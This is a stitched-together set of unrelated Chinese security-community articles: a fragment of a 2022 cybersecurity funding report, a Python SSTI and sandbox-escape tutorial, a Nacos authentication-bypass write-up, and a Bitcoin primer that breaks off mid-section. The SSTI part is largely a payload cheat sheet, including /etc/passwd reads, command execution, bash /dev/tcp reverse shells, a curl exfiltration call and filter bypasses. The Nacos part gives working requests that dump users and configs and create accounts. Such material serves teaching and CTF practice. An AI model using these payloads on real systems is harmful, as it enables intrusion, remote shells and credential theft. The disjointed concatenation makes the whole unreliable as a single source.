* 2022年下半年融资金额大规模减少的一个主要原因在于大于等于1亿美元的融资大幅度减少，尤其是超过2亿美元的融资。2022年全年有4个月没有单笔融资过2亿美元的月份，其中3个月都在下半年，而另一个则是6月。
* 2022年海外网络安全融资金额依然是美国独占鳌头，占海外网络安全总融资金额的近七成。另一方面，以色列也依然是网络安全行业的佼佼者，融资金额超过一成。以洲来划分，整个北美地区占了海外网络安全融资市场金额的四分之三。
* 从美国的融资金额来看，加利福尼亚州是美国融资金额最多的州，占美国融资综合的35%——这也意味着国外网络安全融资近四分之一的金额都在美国的一个州上。加利福尼亚州不仅本身区域广阔，更有南洛杉矶北硅谷的两大发展点：虽然以硅谷为中心的北加利福尼亚地区融资金额超过了30亿，以洛杉矶为中心的南加利福尼亚州同样有超过马萨诸萨州的融资金额。另一方面，尽管得克萨斯州的融资金额仅次于加利福尼亚州，但是在本统计中观察到的融资数量却低于纽约市，略高于马萨诸塞州，也就意味着得克萨斯州获得融资的网络安全企业以较为成熟的企业为主。
* 2022年海外网络安全融资金额主要集中在了B轮和C轮，这两轮的融资占了整体融资额的近50%。而D轮之后的股权融资以及A轮融资金额同样不少，整体海外网络安全环境依然是一个正在生长的情况。
* 在2022年的海外网络安全融资中，也出现了中早期融资超过1亿美元的情况：A轮出现两起1亿美元融资，均为安全浏览器厂商，同时有一起9,000万美元的区块链安全融资；而B轮更是有八起融资超过1亿美元，最高融资额近2亿美元，同时还有一起9,400万美元的融资，这些融资也无疑使得B轮总体融资金额提升。
从统计来看，2022年海外网络安全融资金额最多的是“安全管理与运营”领域，占据了整体海外网络安全融资的近四分之一；其次是身份安全和XDR/TDR厂商，各占了一成左右。安全管理与运营企业在各轮融资中的融资额都排在前二的位置。同时，A轮和B轮的融资金额第二第三均为数据安全和办公安全，意味着数据安全和办公安全依然有新的发展潜力。
**未完待续，完整版PDF正在制作……** | 社区文章 |
# 浅析Python SSTI/沙盒逃逸
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前也接触过什么是SSTI，但大多以题目进行了解，很多模块以及payload都不了解其意就直接拿过来用，感觉并没有学到什么东西，最主要的是在绕过的过程中，不清楚原理没有办法构造,这次就好好来学习一下原理以及姿势
## 一、基础知识
### 0x00:沙盒逃逸
> 沙箱逃逸,就是在一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程
### 0x01:python的内建函数
> 启动python解释器时，即使没有创建任何变量或函数，还是会有很多函数可供使用，这些就是python的内建函数
在python交互模式下，使用命令`dir('builtins')`即可查看当前python版本的一些内建变量、内建函数
内建函数非常强大,可以调用一切函数
### 0x02:名称空间
内建函数是怎么工作的哪？就需要了解一下名称空间
python的名称空间，是从名称到对象的映射，在python程序的执行过程中，至少会存在两个名称空间。
> 1、内建名称空间：python自带的名字，在python解释器启动时产生，存放一些python内置的名字
> 2、全局名称空间：在执行文件时，存放文件级别定义的名字
>
> 3、局部名称空间（可能不存在）：在执行文件的过程中，如果调用了函数，则会产生该函数的名称空间，用来存放该函数内定义的名字，该名字在函数调用时生效，调用结束后失效
**加载顺序：**
* 内置名称空间—>全局名称空间—>局部名称空间
**名字的查找顺序：**
* 局部名称空间—>全局名称空间—>内置名称空间
在python中，初始的`builtins`模块提供内建名称空间到内建对象的映射
在没有提供对象的时候，将会提供当前环境所导入的所有模块，不管是哪个版本,可以看到`__builtins__`是做为默认初始模块出现的，使用dir()命令查看一下`__builtins__`
可以看到有很多关键字
__import__ open
这也就是为什么python解释器里能够直接使用某些函数的原因，加载顺序操作python解释器会自动执行，所以我们能直接看到一个函数被使用，如:使用print函数
### 0x03:类继承
上面了解了什么是名称空间，要学会构造SSTI的payload，还需要学习一下类继承，那什么是类继承那？
>
> python中一切均为对象，均继承于object对象，python的object类中集成了很多的基础函数，假如我们需要在payload中使用某个函数就需要用object去操作。
常见的继承关系的方法有以下三种：
1. `__base__`:对象的一个基类，一般情况下是object
2. `__mro__`:获取对象的基类，只是这时会显示出整个继承链的关系，是一个列表，object在最底层所以在列表中的最后，通过`__mro__[-1]`可以获取到
3. `__subclasses__()` :继承此对象的子类，返回一个列表
考察SSTI的CTF题目一般都是给个变量，因为有这些类继承的方法，便可以从任何一个变量，回溯到基类中去，再获得到此基类所有实现的类，这便是攻击方式：
从变量->对象->基类->子类遍历->全局变量
找到我们想要的模块或者函数，然后进行构造payload。
### 0x04:常见payload分析
通过掌握上面的基础知识便可以来简单分析一下常见的payload，如：
#python2
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()
先来了解一些内建属性的作用：
1. `__class__` 返回调用的参数类型
2. `__bases__` 返回类型列表
3. `__globals__` 以字典类型返回当前位置的全部全局变量
将payload拆解下，一点一点来看
1、`''`返回的是字符串类型
2、加上`__mro__`返回的是继承链关系
3、再添加上`__subclasses__()`返回的便是类的所有子类
定位到需要的子类
4、接下来添加上 `__init__`用传入的参数来初始化实例，使用`__globals__`以字典返回内建模块
5、调用成功，接下来就可以执行命令了
如果是python3的话，那这个payload就需要重新修改，因为python3返回的不再是`site.Printer`类，而是`ContextVar`类
''.__class__.__mro__[-1].__subclasses__()[72]返回的是ContextVar类
如果一个一个去找太麻烦，可以使用命令
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
将`__subclasses__()`每个字类都返回出来
这样便方便找到自己想要的子类
### 0x05:考察的Web框架及模板引擎
一般出SSTI题考察的 **Web框架有以下几种:**
1. **flask**
2. **Tornado**
3. **Django**
因为每个框架涉及的知识都很多，这里就不再详细记录了，只记录一下在做题的时候可能会遇到的配置文件
**Tornado** ：`handler.settings`
> 这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一
handler.settings-> RequestHandler.application.settings
可以获取当前application.settings，从中获取到敏感信息
**[护网杯 2018]easy_tornado** 便考察了这个点
**flaks：内置函数**
> config
> 是Flask模版中的一个全局对象，代表“当前配置对象(flask.config)”，是一个类字典的对象，包含了所有应用程序的配置值。在大多数情况下，包含了比如数据库链接字符串，连接到第三方的凭证，SECRET_KEY等敏感值。
1. `url_for()` — 用于反向解析,生成url
1. `get_flashed_messages()` — 用于获取flash消息
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
如果过滤了`{{config}}`且框架是`flask`的话便可以使用如下payload进行代替
{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}
**shrine** 便考察了这个知识点
**模板引擎有以下几种：**
1. **jinja2**
2. **Twig**
3. **Smarty(PHP)**
4. **Mako**
要判断是哪个模板引擎，可以参考下图或者使用工具 **tplmap** 进行检测
### 0x06:Python常用的命令执行方式
**1、os.system()**
> 该方法的参数就是string类型的命令，在linux上，返回值为执行命令的exit值；而windows上，返回值则是运行命令后，shell的返回值。
> 注意：该函数返回命令执行结果的返回值，并不是返回命令的执行输出（执行成功返回0，失败返回-1）
**2、os.popen()**
> 返回的是file read的对象，如果想获取执行命令的输出，则需要调用该对象的read()方法
## 二、姿势汇总
### 0x00:做题思考
一般遇到SSTI的题目时都是直接去搜现成的payload，然后进行套用，但有的时候考察的点或者是python环境不同，就可能出现上面的类差异，从而导致payload无法正常使用，解不出题来
所以在做题的时候就要思考，需要的是什么模块，比如想要os模块，那么就可以通过编写脚本查找os模块就会非常方便一些
**python2**
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
**python3**
> 原理相同，但是python3环境变化了，例如python2下有file而python3没有，所以直接用open。
> python3的利用主要索引在于 **builtins** ，找到了它便可以利用其中的eval、open等等来执行想要的操作
#!/usr/bin/python3
# coding=utf-8
# python 3.5
#jinja2模板
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
### 0x01:常见payload
有现成的payload肯定用起来香啊，还是总结一些，方便之后自己再做类似的题目参考
**python2**
#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误，可以使用burp等工具
#request.environ
与服务器环境相关的对象字典
**python3**
#python3没有file，用的是open
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')}}
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
<https://github.com/payloadbox/ssti-payloads>
其他的就不再一一列举了，可以参考Github上的。
### 0x02:Bypass姿势
**拼接绕过**
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
**编码绕过**
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(
#等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
**过滤中括号[]**
#使用getitem()\pop()
__mro__[2]== __mro__.__getitem__(2)
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
**过滤`{{或}}`**
使用`{%`进行绕过
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
**过滤_ 和引号**
**可以用`|attr`绕过**
{{()|attr(request.values.a)}}&a=class
使用`request`对象绕过，假设过滤了`__class__`，可以使用下面的形式进行替代
#1
{{''[request.args.t1]}}&t1=__class__
#若request.args改为request.values则利用post的方式进行传参
#2
{{''[request['args']['t1']]}}&t1=__class__
#若使用POST，args换成form即可
**过滤.**
可以使用`attr()`或`[]`绕过
#attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
#[]
{{ config['__class__']['__init__']['__globals__']['os']['popen']('dir')['read']() }}
**reload**
如果`reload`可以用则可以重载，从而恢复内建函数
reload(__builtins__)
## 三、题目实践
### UNCTF2020-easyflask
存在SSTI,先fuzz一下，看看都过滤什么
import requests
from time import sleep
dic = ['config','class', 'bases','_','\'','subclasses', '[', '(', 'read', 'mro', 'init', 'globals', 'builtins', 'file', 'func_globals', 'linecache', 'system', 'values', 'import', 'module', 'call', 'name', 'getitem', 'pop', 'args', 'path', 'popen', 'eval', 'end', 'for', 'if', 'config']
pass_dic = []
for i in dic:
url = "http://6f38b1e6-520d-47ff-a72b-14e481f513cb.node1.hackingfor.fun/secret_route_you_do_not_know?guess={}".format(i)
res = requests.get(url=url).text
# print(res)
# sleep(1)
if 'black list filter' in res:
pass_dic.append(i)
print(pass_dic)
过滤了`' _ [
]`,那接下来就要思考怎么去构造payload了，上面总结的payload直接拿来用肯定会被过滤，因为大多数涉及到了`[`,但可以使用`|attr`和`request.args.xx`来绕过下划线和引号，只要明白原理，便可以使用上面的payload修改一下即可
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
拿这个payload进行修改之后
{{()|attr(request.args.class)|attr(request.args.bases)|attr(request.args.subclasses)()|attr(request.args.getitem)(117)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.d)(request.args.e)(request.args.f)|attr(request.args.g)()}}&class=__class__&bases=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&d=get&e=popen&f=cat flag.txt&g=read
payload有很多，只要能从基类获取到全局变量，之后一步一步调用就可以
## 参考博客
<https://blog.csdn.net/weixin_44604541/article/details/109048578>
<https://www.anquanke.com/post/id/188172>
<https://www.cnblogs.com/-chenxs/p/11971164.html> | 社区文章 |
#### 什么是nacos
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式)
的服务基础设施。
服务（Service）是 Nacos 世界的一等公民。Nacos 支持几乎所有主流类型的“服务”的发现、配置和管理：
Kubernetes Service
gRPC & Dubbo RPC Service
Spring Cloud RESTful Service
更多可见 <https://nacos.io/zh-cn/docs/what-is-nacos.html>
#### 漏洞概述
参考:
threedr3am发现的漏洞 <https://github.com/alibaba/nacos/issues/4593>
<https://nacos.io/en-us/blog/nacos-security-problem-note.html>
Nacos官方仓库的issue中披露了Nacos存在一个由于不当处理User-Agent导致的鉴权绕过漏洞。
影响版本
Nacos <= 2.0.0-ALPHA.1
#### 漏洞危害
(1)检测是否为nacos
Request
GET /nacos/ HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ResponseBody中有`<title>Nacos</title>` 就是Nacos没错了。
(2)
Request:
GET /nacos/v1/auth/users?pageNo=1&pageSize=900 HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Response
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Thu, 21 Jan 2021 03:06:28 GMT
Connection: close
Content-Length: 159
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
注意这个hash可知是默认账号nacos的默认密码nacos
(3)
Request: 查看敏感配置 可能有数据库密码
GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ResponseBody:
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Thu, 21 Jan 2021 03:07:44 GMT
Connection: close
Content-Length: 65
{"totalCount":0,"pageNumber":1,"pagesAvailable":0,"pageItems":[]}
(4)
新增一个用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
Request:
POST /nacos/v1/auth/users HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27
username=test&password=test
ResponseBody:
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Thu, 21 Jan 2021 03:28:18 GMT
Connection: close
Content-Length: 52
{"code":200,"message":"create user ok!","data":null}
再次查看用户列表发现，创建用户test成功了。
访问首页<http://127.0.0.1:8848/nacos/>
然后登录刚创建的账号test，就可以配置管理、服务管理、集群管理等。
#### 漏洞案例
参考<http://moguit.cn/#/info?blogOid=586>
有个开源博客项目
获取配置
[http://your_ip:8848/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate](http://your_ip:8848/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate)
其中里面包含了 MySQL 的账号密码，Redis 的账号密码。
而且因为之前开发者为了方便，并没有对配置文件的用户和密码进行加密处理，所以直接显示的就是明文。
同时因为经常为了远程调试方便，开放了 MySQL 的 3306 端口。
下面我通过找到的 IP地址 和 MySQL 的账号密码，直接连上了数据库：
#### 漏洞分析
这是来自threedr3am的分析(原issue可能被删除，备份一下)
问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
可以看到，上面三个if else分支：
第一个是authConfigs.isEnableUserAgentAuthWhite()
它默认值为true，当值为true时，会判断请求头User-Agent是否匹配User-Agent: Nacos-Server，若匹配，则跳过后续所有逻辑，执行chain.doFilter(request, response);
第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) &&
StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复
第三个是，当前面两个条件都不符合时，对请求直接作出拒绝访问的响应
问题出现在第二个分支，可以看到，当nacos的开发者在application.properties添加配置
nacos.core.auth.enable.userAgentAuthWhite:false，开启该key-value简单鉴权机制后，会根据开发者配置的nacos.core.auth.server.identity.key去http
header中获取一个value，去跟开发者配置的nacos.core.auth.server.identity.value进行匹配，若不匹配，则不进入分支执行：
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但问题恰恰就出在这里，这里的逻辑理应是在不匹配时，直接返回拒绝访问，而实际上并没有这样做，这就让我们后续去绕过提供了条件。
再往下看，代码来到：
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
可以看到，这里有一个判断method == null，只要满足这个条件，就不会走到后续的鉴权代码。
通过查看methodsCache.getMethod(req)代码实现，我发现了一个方法，可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
这个代码里面，可以很明确的看到，method值的返回，取决于
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
urlKey这个key，是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中，存在着path这一部分，而这一部分的生成，恰恰存在着问题，它是通过如下方式获得的：
new URI(request.getRequestURI()).getPath()
一个正常的访问，比如`curl -XPOST
'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'`
得到的path将会是/nacos/v1/auth/users
而通过特殊构造的url，比如`curl -XPOST
'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test'
--path-as-is`
得到的path将会是/nacos/v1/auth/users/
通过该方式，将能控制该path多一个末尾的斜杆'/'，导致从urlLookup这个ConcurrentHashMap中获取不到method，为什么呢，因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾，只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap，那么，最外层的`method
== null`条件将能满足，从而，绕过该鉴权机制。
#### 修复方案
在`conf/application.properties`配置中开启鉴权
启用新机制去避免被非法访问:
# 开启鉴权
nacos.core.auth.enabled=true
# 关闭白名单功能
nacos.core.auth.enable.userAgentAuthWhite=false.
# 配置键值对 [键值对可以自定义]
nacos.core.auth.server.identity.key=aaa
nacos.core.auth.server.identity.value=bbb | 社区文章 |
# 一、什么是比特币系统
有关比特币的专业知识讲解的内容资料很多，我这里只是简单通俗的记录下个人的学习和对他的理解。大家往往看到比特币首先想问的它到底是什么，是不是钱。可以肯定的回答大家，他是钱，但是他不只是个体，他其实是一个虚拟的电子货币支付系统，是的是一个系统。
所以我这里说了这么多的废话，就是希望大家以后看到比特币，我们不是把它看成是一个硬币，而是我们一看到比特币，我就立马想到的是它其实是一个系统（电子币虚拟支付系统）。只要大家能这样想，后面讲的内容大家就好理解了。
大家如果想要比较清晰的了解什么是比特币，我们就必须知道比特币其实是一套系统，他不是体，他是由各个“关键的基础点”共同在一定协议技术之上“运行的货币支付系统”。那么笔者接下来会分两步，给大家进行简单知识点的普济，即比特币系统的“关键基础构成”与其“比特币运行机制”。
**重点预告** ：重点部分在于比特币的运行机制部分，请重点关注。
## 1.1 比特币系统关键构成
首先给大家贴出介绍比特币系统的一张图，大家简单的看下。这一张图片展示的就是一个完整的比特币系统有哪些内容构成，那么我们从这张图中我们可以看到什么呢？
通过前面个人的学习，我简单的概括出以下几个关键点：
* 用户
系统中各个外围的使用者，如学生、老师、雇员以及其他等待使用者；
* 旷工
为整个系统的运行提供支撑的人员和基础设施，其实际构成就是由人、计算机、电力系统、校验认证等等共同构成；
* Blockchain(区块链)
看到Blokcchain，第一次听到这个词的人可能会一头雾水，其实大家无需迷茫，我给大家简单的打个比喻，大家就明白了。这个区块链其实就是整个比特币系统运行的底层协议，就像我们的互联网底层协议TCP/IP一样。如果大家还不明白，那说的再简单点，大家就把他理解为一个“记账本”就OK,他就是来负责整个比特币系统中进行记账的载体。
那么前面废话说了这么多，到什么是比特币呢？请各位亲们往下看，下面我们会从比特币的 **比特币支持过程** 与 **比特币发行过程**
两个方面带大家一起认识下比特币。
## 1.2 比特币系统运行过程
个人对于比特的运行过程进行了简单的概括，一是比特币系统的“支付过程”，二就是“货币发行过程”。大家如果弄明白了这两个过程基本就了解了比特币系统是什么了，也就理解什么是比特币了。
### 1.2.1 货币支付过程
#### 1.2.1.1 关键词
在说明比特币的支付过程之前，大家先带大家看几个关键词： **P2P** 、 **去中心化** 与 **终端用户**
* P2P
我们称他为点对点（即个人对个人）；
* 去中心化
这个很字面了，不难理解，即没有中心，大家都是个体对个体的；
* 终端用户
用户就是使用者，就不用解释了吧。
OK！我们了解了上面三个关键词后，我们就来看下比特币定义。
**比特币定义：**
它是一种去中心化的，基于区块链网络技术的，P2P电子支付技术系统。听起来是不是还是很含糊，OK,那么说的再简单点，就是比特币是一个P2P（点到点）的电子支付系统。
#### 1.2.1.2 P2P支付过程
通过上面的定义，你可能还是不太了解其运行过程，那么我们举一个生活中的例子来给大家简单说明。
**场景举例：A 向 B 支付100元，在 “中心支付模式” 和 “点对点支付模式 ”，他们各自是如何完成支付的呢。**
* **（1）中心支付模式**
我们知道在现实生活中我们的货币支付系统的支付过程是这样的，当A支付出100元后，银行会在A的账户中减去100元，同时在B的账户中增加一笔100元的记录。也就是整个交易支付过程都是由银行在中间进行处理与记录的，银行是整个支付系统的中心系统，他有一本所有人的总账本，这中心账本记录所有的交易与支付记录。
* **（2）P2P支付模式**
而比特币网络这种点对点支付系统就不同了，当A给B支付了100元后，不需要经过任何中心支付系统进行结算和记录，完全由这个A和B各自去记录完成，同时通告给P2P网络中的所有人，然后比特币网络中的每个终端成员都会更新自己的账本记录下A与B之间的支付账单。也就是说P2P支付系统模式中，每个终端个体都有跟账本，且每个人的账本记录内容都是同步更新的。；
* **过程理解**
比特币系统就是一个基于“终端账本记录”技术的点到点的，去中心化的，电子货币支付系统。而终端“账本记录技术的实现”，其是通过前面说的“区块链”技术来实现的；
* **支付模式小结**
* 所谓“P2P支付模式”：就是每个终端个体都一个一模一样的账本；
* 所谓“中心支付模式”，就是只有一个中心节点有一个账本，就这么简单；
说了这么多，大家不知道是不是已经理解了比特币的支付模式了呢，是的没错所谓比特币的P2P支付模式，就是每个人都一个账本，所有的支付结算过程结果都由每个人自己的账本记录进行更新记录，当然每个人的账本记录都是一样的内容，至于怎么实现，请各位亲继续往后看。
### 1.2.2 货币发行过程
前面讲了那么多比特币的支付过程，那一个非常重要的问题来了，请问这些比特币系统中每个人的比特币是哪里来的，即货币到底是谁发行的呢？
这个问说如果大家搞清楚了，各位亲也就能理解我经常听到或遇到的“挖矿恶意程序”的到底是个什么玩意了。
#### 1.2.2.1 关键词
统一在为各位亲说明货币发现过程之前，先带大家看几个关键词或者说是关键点，即区块链、旷工以及比特币奖励
* 区块链
其实有区块链前面我已经简单的说过，区块链接简单的理解就是一个记账本；但是这里我们需要更详细的说明下区块链，我现在把区块链分为两个部分来理解：即 **区块**
和 **链** 。一个区块链其实他记录从最原始的账单交易到现在此时此刻的交易内容，它由区块和链共同两部分共同构成。在比特币系统中每10分钟生成一个新的
**区块** ，这10分钟生成的区块它会记录最近10分钟网络中生成的信息支付交易记录，然后通过 **链** 连接到 **原始的区块链**
上形成更新后的新的区块链，并通告全网进行公共账单的更新。
* 比特币奖励
这个就是字面意思，就是进行某个客体的比特币奖励。
* 旷工
是指通过一种特别的软件不断重复哈希运算（hash碰撞）来产生工作量的各个网络终端节点。矿工们需要竞争完成一种基于加密哈希算法的数学难题，数学题的答案存在于新的区块中，谁优先解出这个答案，谁就能在p2p网络中广播声明自己已经获得这个区块，其他的旷工就会意识到在这局里已经输了，就会立马开始下一个区块的挖掘工作。每个矿工在他的区块中都有一笔特殊的交易，他们会将新生成的比特币作为报酬，然后支付到自己的比特币地址中。一旦这个区块被认可被验证，也就是被添加到区块链中，他的这笔报酬就可以变为可用可消费的状态。
#### 1.2.2.2 比特货币发行
通过前面比特币网络的学习，我们知道比特币其实一个P2P的网络，这也表示网络中的每一个人都当担这比特币系统的一小部分，但是一个主要的问题出了比特币来时哪里呢？
* （1）法币发行机制
我们都知道就现实生活中的法币来说，政府能够决定何时发行新的钞票，但是比特币并没有中央政府。
